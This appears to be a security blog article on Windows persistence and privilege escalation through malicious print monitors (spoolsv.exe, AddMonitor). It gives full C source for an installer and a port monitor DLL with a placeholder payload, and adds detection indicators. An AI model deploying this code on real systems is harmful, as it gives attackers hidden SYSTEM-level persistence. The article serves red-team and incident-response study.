Persistence and Privilege Escalation on Windows via Print Monitors

This article demonstrates a persistence and/or privilege escalation technique documented as “Port Monitors” T1547.010 in the MITRE ATT&CK [1] framework. Because of the effectiveness it offers, this technique that has been used in the past by attackers (commodity malware as well as Advanced Persistent Threats), a recorded example is its use from DePriMon [2]. This post aims to fill some knowledge gaps and open up the use of this technique to Red Teams. The analysis goes as far as providing source code, in an attempt to demonstrate what the malware authors do in the developing process and go a little further than the popular belief [3], [4], [5]. It may be useful from a Digital Forensics and Incident Response (DFIR) perspective.

The article is layed out in the following sections:

Review of the technique

This technique allows attackers to escalate their privileges on Windows systems from High integrity (Administrator) to System integrity (NT AUTHORITY\SYSTEM). Additionally, it can be used as a persistence mechanism.

The how-to is the following: The Windows API AddMonitor [6] is called (by the attacker) to register/install a Print Monitor that is implemented in a DLL (the so called port monitor server). As soon as the AddMonitor call is made, a new thread is created in spoolsv.exe and the DLL gets loaded in the address space of spoolsv.exe. The DLL has to export the function InitializePrintMonitor2 [7], as this function is called when the DLL is loaded. The DLL has to also implement some additional functions [11]. Contrary to what the documentation says, even the “optional” functions have to be implemented, otherwise an error is returned. If everything goes well, the function EnumPorts executes too. The result of the AddMonitor is the creation of the following registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\<name of the malicious monitor>

plus the subkey Driver that points to the port monitor server DLL.

For example, DePriMon registers the monitor “Windows Default Print Monitor”.

The port monitor can be deleted with the API DeleteMonitor. This function de-registers/uninstalls the port monitor and deletes registry artifacts.

Some issues that surfaced during the development and worth to be called out:

Port Monitor Installation Source Code

Based on the official Microsoft documentation - at the time of writing - the AddMonitor funtion has to be called with the SeLoadDriverPrivilege privilege. A function that enables this privilege has been included for this purpose.

DWORD EnableLoadPrivilege()
{
	// caller must have SeLoadDriverPrivilege
	TOKEN_PRIVILEGES tp;
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	WCHAR privilege[] = L"SeLoadDriverPrivilege";
	if (!::LookupPrivilegeValueW(NULL, privilege, &tp.Privileges[0].Luid))
	{
		::wprintf(L"[-] LookupPrivilegeVlueA has failed: %d\n", GetLastError());
		return 0;
	}

	HANDLE token = NULL;
	HANDLE hProcess = ::GetCurrentProcess();
	if (!::OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &token))
	{
		::wprintf(L"[-] OpenProcessToken has failed: %d\n", GetLastError());
		return 0;
	}

	if (!::AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
	{
		::wprintf(L"[-] AdjustTokenPrivilege has failed: %d\n", GetLastError());
		return 0;
	}

	return 1;
}

BOOL PrintMonitorPersistence()
{
	BOOL result = EnableLoadPrivilege();
	if (result == 0)
	{
		::wprintf(L"[-] EnableLoadPrivilege has failed\n");
		return 0;
	}

	// AddMonitor main function
	MONITOR_INFO_2 monitorInfo;

	// print monitor name
	WCHAR monName[] = L"";
	WCHAR monEnv[] = L"Windows x64";
	// print monitor server DLL name
	WCHAR dllname[] = L"";

	monitorInfo.pName = monName;
	monitorInfo.pEnvironment = monEnv;
	monitorInfo.pDLLName = dllname;

	result = AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
	if (result == 0)
	{
		::wprintf(L"[-] AddMonitor has failed: %d\n", GetLastError());
		return 0;
	}

	return 1;
}

INT wmain(INT argc, WCHAR** argv)
{
	BOOL res = PrintMonitorPersistence();
	if (res == 0)
	{
		::wprintf(L"[-] PrintMonitorPersistence has failed\n");
	}
	
	return 0;
}

Port Monitor DLL Source Code

The code listed below implements the port monitor server DLL. As an artifact of execution, the DLL creates a file within the ‘Temp’ directory of the system account.

#include <windows.h>
#include <stdio.h>
//#include <winsplp.h>

#define DllExport __declspec(dllexport)
#define HKEYMONITOR HKEY

DWORD FileWritePoC(WCHAR* logfname)
{
	WCHAR* lpBuffer = new WCHAR[MAX_PATH];
	lpBuffer[MAX_PATH - 1] = '\0';

	DWORD len = ::GetTempPathW(MAX_PATH, lpBuffer);
	if (!len)
	{
		CHAR msgbuf[50];
		sprintf_s(msgbuf, 50, "[-] GetTempPathW has failed: %d", GetLastError());
		::OutputDebugStringA(msgbuf);
		return 1;
	}

	size_t numberofelements = wcslen(lpBuffer) + wcslen(logfname) + 1;
	WCHAR* logfilepath = new WCHAR[numberofelements];
	wcscpy_s(logfilepath, numberofelements, lpBuffer);
	wcscat_s(logfilepath, numberofelements, logfname);

	HANDLE hFile = ::CreateFileW(
		logfilepath,
		GENERIC_ALL,
		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
		NULL,
		CREATE_NEW,
		FILE_ATTRIBUTE_NORMAL,
		NULL
	);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		CHAR msgbuf[50];
		sprintf_s(msgbuf, 50, "[-] CreateFileW has failed: %d", GetLastError());
		::OutputDebugStringA(msgbuf);
		return 1;
	}

	::CloseHandle(hFile);
}

typedef struct _MONITORREG {
	DWORD cbSize;
	LONG(*fpCreateKey)(HKEYMONITOR hcKey, LPCTSTR pszSubKey, DWORD dwOptions, REGSAM samDesired, PSECURITY_ATTRIBUTES pSecurityAttributes, HKEYMONITOR* phckResult, PDWORD pdwDisposition, HANDLE hSpooler);
	LONG(*fpOpenKey)(HKEYMONITOR hcKey, LPCTSTR pszSubKey, REGSAM samDesired, HKEYMONITOR* phkResult, HANDLE hSpooler);
	LONG(*fpCloseKey)(HKEYMONITOR hcKey, HANDLE hSpooler);
	LONG(*fpDeleteKey)(HKEYMONITOR hcKey, LPCTSTR pszSubKey, HANDLE hSpooler);
	LONG(*fpEnumKey)(HKEYMONITOR hcKey, DWORD dwIndex, LPTSTR pszName, PDWORD pcchName, PFILETIME pftLastWriteTime, HANDLE hSpooler);
	LONG(*fpQueryInfoKey)(HKEYMONITOR hcKey, PDWORD pcSubKeys, PDWORD pcbKey, PDWORD pcValues, PDWORD pcbValue, PDWORD pcbData, PDWORD pcbSecurityDescriptor, PFILETIME pftLastWriteTime, HANDLE hSpooler);
	LONG(*fpSetValue)(HKEYMONITOR hcKey, LPCTSTR pszValue, DWORD dwType, const BYTE* pData, DWORD cbData, HANDLE hSpooler);
	LONG(*fpDeleteValue)(HKEYMONITOR hcKey, LPCTSTR pszValue, HANDLE hSpooler);
	LONG(*fpEnumValue)(HKEYMONITOR hcKey, DWORD dwIndex, LPTSTR pszValue, PDWORD pcbValue, PDWORD pTyp, PBYTE pData, PDWORD pcbData, HANDLE hSpooler);
	LONG(*fpQueryValue)(HKEYMONITOR hcKey, LPCTSTR pszValue, PDWORD pType, PBYTE pData, PDWORD pcbData, HANDLE hSpooler);
} MONITORREG, * PMONITORREG;

typedef struct _MONITORINIT {
	DWORD       cbSize;
	HANDLE      hSpooler;
	HKEYMONITOR hckRegistryRoot;
	PMONITORREG pMonitorReg;
	BOOL        bLocal;
	LPCWSTR     pszServerName;
} MONITORINIT, * PMONITORINIT;

typedef struct _MONITOR2 {
	DWORD  cbSize;
	BOOL(*pfnEnumPorts)(HANDLE hMonitor, LPWSTR pName, DWORD Level, LPBYTE pPorts, DWORD cbBuf, LPDWORD pcbNeeded, LPDWORD pcReturned);
	BOOL(*pfnOpenPort)(HANDLE hMonitor, LPWSTR pName, PHANDLE pHandle);
	BOOL(*pfnOpenPortEx)(HANDLE hMonitor, HANDLE hMonitorPort, LPWSTR pPortName, LPWSTR pPrinterName, PHANDLE pHandle, _MONITOR2* pMonitor2);
	BOOL(*pfnStartDocPort)(HANDLE hPort, LPWSTR pPrinterName, DWORD JobId, DWORD Level, LPBYTE pDocInfo);
	BOOL(*pfnWritePort)(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuf, LPDWORD pcbWritten);
	BOOL(*pfnReadPort)(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuffer, LPDWORD pcbRead);
	BOOL(*pfnEndDocPort)(HANDLE hPort);
	BOOL(*pfnClosePort)(HANDLE hPort);
	BOOL(*pfnAddPort)(HANDLE hMonitor, LPWSTR pName, HWND hWnd, LPWSTR pMonitorName);
	BOOL(*pfnAddPortEx)(HANDLE hMonitor, LPWSTR pName, DWORD Level, LPBYTE lpBuffer, LPWSTR lpMonitorName);
	BOOL(*pfnConfigurePort)(HANDLE hMonitor, LPWSTR pName, HWND hWnd, LPWSTR pPortName);
	BOOL(*pfnDeletePort)(HANDLE hMonitor, LPWSTR pName, HWND hWnd, LPWSTR pPortName);
	BOOL(*pfnGetPrinterDataFromPort)(HANDLE hPort, DWORD ControlID, LPWSTR pValueName, LPWSTR lpInBuffer, DWORD cbInBuffer, LPWSTR lpOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbReturned);
	BOOL(*pfnSetPortTimeOuts)(HANDLE hPort, LPCOMMTIMEOUTS lpCTO, DWORD reserved);
	BOOL(*pfnXcvOpenPort)(HANDLE hMonitor, LPCWSTR pszObject, ACCESS_MASK GrantedAccess, PHANDLE phXcv);
	DWORD(*pfnXcvDataPort)(HANDLE hXcv, LPCWSTR pszDataName, PBYTE pInputData, DWORD cbInputData, PBYTE pOutputData, DWORD cbOutputData, PDWORD pcbOutputNeeded);
	BOOL(*pfnXcvClosePort)(HANDLE hXcv);
	VOID(*pfnShutdown)(HANDLE hMonitor);
	DWORD(*pfnSendRecvBidiDataFromPort)(HANDLE hPort, DWORD dwAccessBit, LPCWSTR pAction, PBIDI_REQUEST_CONTAINER pReqData, PBIDI_RESPONSE_CONTAINER* ppResData);
	DWORD(*pfnNotifyUsedPorts)(HANDLE hMonitor, DWORD cPorts, PCWSTR* ppszPorts);
	DWORD(*pfnNotifyUnusedPorts)(HANDLE hMonitor, DWORD cPorts, PCWSTR* ppszPorts);
	DWORD(*pfnPowerEvent)(HANDLE hMonitor, DWORD event, POWERBROADCAST_SETTING* pSettings);
} MONITOR2, * PMONITOR2, * LPMONITOR2;

BOOL WINAPI CsEnumPorts(HANDLE hMonitor, LPWSTR pName, DWORD Level, LPBYTE pPorts, DWORD cbBuf, LPDWORD pcbNeeded, LPDWORD pcReturned)
{
	// function executes when DLL is loaded
	BOOL bRet = TRUE;

	return bRet;
}

BOOL WINAPI CsOpenPort(HANDLE hMonitor, LPWSTR pName, PHANDLE pHandle)
{
	BOOL bRet = TRUE;

	return bRet;
}

BOOL WINAPI CsOpenPortEx(HANDLE hMonitor, HANDLE hMonitorPort, LPTSTR pszPortName, LPTSTR pszPrinterName, LPHANDLE pHandle, LPMONITOR2 pMonitor)
{
	BOOL bRet = TRUE;

	return bRet;
}

BOOL CsStartDocPort(HANDLE hPort, LPWSTR pPrinterName, DWORD JobId, DWORD Level, LPBYTE pDocInfo)
{
	BOOL bRet = TRUE;

	return bRet;
}

BOOL CsWritePort(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuf, LPDWORD pcbWritten)
{
	BOOL bRet = TRUE;

	return bRet;
}

BOOL CsReadPort(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuffer, LPDWORD pcbRead)
{
	BOOL bRet = TRUE;

	return bRet;
}

BOOL CsEndDocPort(HANDLE hPort)
{
	BOOL bRet = TRUE;

	return bRet;
}

BOOL CsClosePort(HANDLE hPort)
{
	BOOL bRet = TRUE;

	return bRet;
}

BOOL CsGetPrinterDataFromPort(HANDLE hPort, DWORD ControlID, LPWSTR pValueName, LPWSTR lpInBuffer, DWORD cbInBuffer, LPWSTR lpOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbReturned)
{
	BOOL bRet = TRUE;

	return bRet;
}

BOOL CsSetPortTimeOuts(HANDLE hPort, LPCOMMTIMEOUTS lpCTO, DWORD reserved)
{
	BOOL bRet = TRUE;

	return bRet;
}

BOOL WINAPI CsXcvOpenPort(HANDLE hMonitor, LPCWSTR pszObject, ACCESS_MASK GrantedAccess, PHANDLE phXcv)
{
	BOOL bRet = TRUE;

	return bRet;
}

DWORD CsXcvDataPort(HANDLE hXcv, LPCWSTR pszDataName, PBYTE pInputData, DWORD cbInputData, PBYTE pOutputData, DWORD cbOutputData, PDWORD pcbOutputNeeded)
{
	// ERROR_SUCESS
	return 0;
}

BOOL CsXcvClosePort(HANDLE hXcv)
{
	BOOL bRet = TRUE;

	return bRet;
}

VOID CsShutdown(HANDLE hMonitor)
{

}

DWORD CsSendRecvBidiDataFromPort(HANDLE hPort, DWORD dwAccessBit, LPCWSTR pAction, PBIDI_REQUEST_CONTAINER pReqData, PBIDI_RESPONSE_CONTAINER* ppResData)
{
	// ERROR_SUCCESS
	return 0;
}

MONITOR2 Moni =
{
	sizeof(MONITOR2),
	CsEnumPorts, // EnumPorts
	CsOpenPort, // OpenPort
	CsOpenPortEx, // OpenPortEx
	CsStartDocPort, // StatDocPort
	CsWritePort, // WritePort
	CsReadPort, // ReadPort
	CsEndDocPort, // EndDocPort
	CsClosePort, // ClosePort
	NULL, // AddPort -> obsolete should not be used
	NULL, // AddoPortEx -> obsolete must be NULL
	NULL, // ConfigurePort -> obsolete should not be used
	NULL, // DeletePort -> obsolete should not be used
	CsGetPrinterDataFromPort, // GetPrinterDataFromPort
	CsSetPortTimeOuts, // SetPortTimeOuts
	CsXcvOpenPort, // XcvOpenPort | Port Monitors Only
	CsXcvDataPort, // XcvDataPort | Port Monitors Only
	CsXcvClosePort, // XcvClosePort | Port Monitors Only
	CsShutdown, // Shutdown
	CsSendRecvBidiDataFromPort, // SendRecvBidiDataFromPort
	NULL, // NotifyUsedPorts
	NULL, // NotifyUnusedPorts
	NULL  // PowerEvent
};

extern "C" DllExport LPMONITOR2 InitializePrintMonitor2(PMONITORINIT pMonitorInit, PHANDLE phMonitor)
{
	// debug
	CHAR msgbuf[50];
	sprintf_s(msgbuf, 50, "[+] InitializePrintMonitor2 was called");
	::OutputDebugStringA(msgbuf);
	
	*phMonitor = (PHANDLE)pMonitorInit;

	return &Moni;
}

extern "C" DllExport int __cdecl PayloadFunction(WCHAR * logfname)
{
	// debug
	CHAR msgbuf[50];
	sprintf_s(msgbuf, 50, "[+] PayloadFunction was called");
	::OutputDebugStringA(msgbuf);

	FileWritePoC(logfname);

	return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
	WCHAR logfname[] = L"exec_artifact.tmp";

	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		PayloadFunction(logfname);
		CHAR msgbuf[50];
		sprintf_s(msgbuf, 50, "[+] DLL_PROCESS_ATTACH");
		::OutputDebugStringA(msgbuf);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return TRUE;
}

Spoolsv potential DLL hijacking condition

On the official Microsoft documentation about AddMonitor [3], we read:

“Before an application calls the AddMonitor function, all files required by the monitor must be copied to the SYSTEM32 directory.”

If you are wondering why, the answer is shown in the following image:

spoolsv_dll_hijacking DLL search order as applied

The above image shows what happens when a port monitor server DLL is not copied to the SYSTEM32 directory. In this case, the DLL is called moni.dll. Spoolsv requests to load the DLL and the loader applies the DLL search order [9] to locate and load the DLL. When the DLL is not in SYSTEM32, the loader searches in the paths included in the PATH environment variable of the system (note that Spoolsv runs in System integrity - the highest privilege).

This, indicates that there is a DLL hijacking condition if specific requirements are met, such as the DLL is located in a path that exists later in the search order.

Detection Opportunities

If spoolsv.exe out of the blue registers a port monitor, thus a registry key is created in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors, this constitutes a suspicious indicator that requires further investigation.

Additionally, for those familiar with VirusTotal Enterprise platform, the following search modifiers [13] will likely return malware Port Monitor Server DLLs:

type:pedll exports:”InitializePrintMonitor2” positives:30+

The above query looks for the exported function InitializePrintMonitor2 in DLL files that have 30 or more detections by antivirus engines.

Tools

The tools used in this exploration:

* if interested in additional articles, check out https://stmxcsr.com/categories/

References

[1] https://attack.mitre.org/techniques/T1547/010/

[2] https://www.welivesecurity.com/2019/11/21/deprimon-default-print-monitor-malicious-downloader/

[3] https://slaeryan.github.io/posts/midnighttrain.html

[4] https://pentestlab.blog/2019/10/28/persistence-port-monitors/

[5] https://www.ired.team/offensive-security/persistence/t1013-addmonitor

[6] https://docs.microsoft.com/en-us/windows/win32/printdocs/addmonitor

[7] https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/winsplp/nf-winsplp-initializeprintmonitor2

[8] https://docs.microsoft.com/en-us/windows-hardware/drivers/print/port-monitor-server-dll-functions

[9] https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order

[10] https://doxygen.reactos.org/d9/dc2/providers_2localspl_2monitors_8c.html#ab4700dedbd1eeed79d515a6caced0e68

[11] https://docs.microsoft.com/en-us/windows-hardware/drivers/print/port-monitor-server-dll-functions

[12] https://docs.microsoft.com/en-us/windows/win32/debug/system-error-codes–1700-3999-

[13] https://support.virustotal.com/hc/en-us/articles/360001385897-File-search-modifiers